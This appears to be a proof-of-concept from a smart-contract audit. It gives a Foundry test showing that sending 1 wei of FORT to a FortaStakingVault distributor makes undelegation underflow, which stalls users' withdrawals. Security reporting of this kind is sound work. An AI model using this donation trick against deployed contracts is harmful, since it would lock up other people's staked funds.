underflow-undelegate.md

Add the following test in the FortaStakingVault.t.sol file:

    function test_stall_undelegations() external {
        _deposit(alice, 100 ether, 100 ether);

        uint256 subject1 = 55;

        //delegate and initiate undelegate
        vm.startPrank(operator);
        vault.delegate(subject1, 50 ether);
        (, address distributor) = vault.initiateUndelegate(subject1, 50 ether);
        vm.stopPrank();


        // wait thawing period
        vm.warp(block.timestamp + 20 days);

        // send 1 FORT to bob and transfer it to the distributor 
        vm.startPrank(bob);
        deal(address(FORT_TOKEN), bob, 1);
        FORT_TOKEN.transfer(distributor, 1);
        vm.stopPrank();

        // undelegate subjects
        vault.undelegate(subject1);
    }

Finally, run in a console the following command:

~$ forge test --mt test_stall_undelegations